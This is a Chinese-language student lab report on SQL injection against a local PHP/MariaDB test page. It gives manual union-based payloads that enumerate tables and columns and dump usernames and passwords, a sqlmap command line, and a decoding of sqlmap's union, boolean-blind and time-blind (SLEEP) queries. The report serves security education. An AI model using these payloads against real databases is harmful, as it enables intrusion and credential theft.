一、 1.什么是sql注入漏洞
程序员在编写代码的时候没有对用户输入数据的合法性进行判断,使得应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的寄过,获得想知道的信息
二、 1.sql注入产生的原因
程序开发过程中不注意规范书写sql语句和对特殊字符进行过滤,导致客户端可以通过全局变量POST和GET提交一些sql语句正常执行
2.存在该漏洞会导致什么后果
Sql注入会导致数据库存在被入侵的风险,如刷库,拖库,撞库
三、 1.mariadb apache php在3.2的时候已经安装,可以正常访问
2.将存在sql注入的php页面放在网站的访问目录下
.3.手工实现注入,
(1) 测试是否存在注入
当输入id=geng’ and 1=1 %32时输出用户的密码数组
当输入id =geng’ and 1=2 %32时,无输出,说明闭合区和注释区之间的代码得到了执行,存在sql注入
(2) 当前数据库权限判断
数据段有四个
所以构造查询语句为
Id=?username=geng'union select 1,2,3,user() %23
数据库权限是root权限
(3) 字段数判断
输入order3和order 4都可以正常显示
当输入order by 5的时候,输出错误
说明字段数是4
(4) 获得数据库的库名和表名
查询语句?username=geng' union select group_concat(table_name),database(),3,4frominformation_schema.tables where table_schema=database() %23
当前数据库是demo 数据库下的表名有user和verify
(5) 获取数据库字段名
查询语句 ?username=geng' union select group_concat(column_name),2,3,4 frominformation_schema.columns where table_schema=database() %23 当前数据库的所有字段
查询语句 ?username=geng' union select group_concat(column_name),2,3,4 frominformation_schema.columns where table_name=0x766572696679,得到verify表的字段,0x766572696679是verify的16进制形式
(6) 获取数据
查询语句:?username=geng' union select group_concat(username,0x3a,password),2,3,4from verify %23
4. sqlmap union注入分析
UNION 用于合并两个或多个SELECT 语句的结果集,并消去表中任何重复行。
UNION 内部的 SELECT 语句必须拥有相同数量的列,列也必须拥有相似的数据类型。
原理:
union语句可以将两个select请求的结果集进行合并,所以可以在目标文件请求请求参数的值的时候一起进行select请求,这样就可以插入一条入侵者想要执行的请求语句
Sqlmap的union注入过程分析
(1)在shell中输入命令行,python sqlmap.py -u"http://127.0.0.1/sql_injection/1.php?id=2&submit=submit" --flush-session --technique U --current-db -p id
此时清掉请求的缓存,让sqlmap重新进行请求
(2)
按照给定的url里的parameter进行正常的请求
(3)
猜解parameter的闭合符号,对每个猜的符号进行12次请求,
(4)
猜出parameter的闭合符号之后猜解select的字段数
(5)
对数据库的信息进行验证,此时验证数据库版本,当前数据库的使用者
(6)
进行请求的查询,
用wireshark抓包分析查询语
2%27%20UNION%20ALL%20SELECT%20CONCAT%280x717a6b7a71%2CIFNULL%28CAST%28DATABASE%28%29%20AS%20CHAR%29%2C0x20%29%2C0x7171717071%29--%20XkHJ
经过url转换,得到以下语句
2'UNIONALL SELECT CONCAT(0x717a6b7a71,IFNULL(CAST(DATABASE() ASCHAR),0x20),0x7171717071)—XkHJ
也就是请求了
SELECTusername FROM user WHERE id='2' UNION ALL SELECTCONCAT(0x717a6b7a71,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x7171717071)-- XkHJ'
注入的是
SELECTCONCAT(0x717a6b7a71,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x7171717071)
--后面的是注释,union将前一个和后一个请求的结果集进行了合并,
DATABASE()请求了当前数据库的名称
CAST(DATABASE()AS CHAR) CAST语句将DATABASE()请求到的结果转换为字符格式
IFNULL(CAST(DATABASE()AS CHAR) , 0X20) 如果cast的结果是真,IFNULL语句选择第一个,否则选择第二个,
CONCAT将字段连接起来,最后输出的时候再取出数据库名的字段
5.sqlmap的boolean注入
Web的页面的仅仅会返回True和False。布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库中的相关信息,从而一比特一比特的拖库
用sqlmap的boolean based注入进行攻击
(1) 在shell中输入命令
(2) 检测参数id的闭合方式,运用了多种闭合方式去试探
(3) 检测目标数据库的信息,执行了各个数据库的函数,如果得到执行说明是该数据库
(4) 猜解目标字段的第一个字符,运用二分法进行循环,直到找到返回值为真和假的分界线
(5) 由于事先没有检查目标字段的长度,所以目标字段长度为13,但是检测了14次,最后一个字符的sacii的数值为0
找到目标字段,sql_injection
6.sql_map的time based注入分析
(1) 在shell中执行命令
(2) 检测参数id的闭合方式,运用了多种闭合方式去试探
(2) 对请求目标字段的第一个字符进行猜解
请求语句
SELECT username FROM user WHERE id='2' AND9516=IF((ORD(MID((IFNULL(CAST(DATABASE() ASCHAR),0x20)),1,1))>64),SLEEP(5),9516) AND 'SENs'='SENs'
9516=IF((ORD(MID((IFNULL(CAST(DATABASE() ASCHAR),0x20)),1,1))>64),SLEEP(5),9516)
是选取请求目标字段的第一个字符,如果第一个字符符合要求,选择sleep(5)也就是睡眠5秒,否则选择9516,由此有一个正确与否的判断,然后对此循环查询,找到睡眠与不睡眠的分界点
(3) 与booleanbased注入相同,由于没有查询请求字段的大小,请求字段长度13,但是循环查询14次,最后一个字符的sacii的数值为0
Time based和boolean based的区别是判断猜测是否成功的依据不同time base按照输出false和true判断,timebase按照是否睡眠来判断,所以慢一点
四、 总结
拿到一个新的知识,不清楚该从什么地方下手,所以在刚开始的时候有点慢,但是经过学习也积累了一些经验,以后在这些事情上会越来越熟练
仅实验 谨实验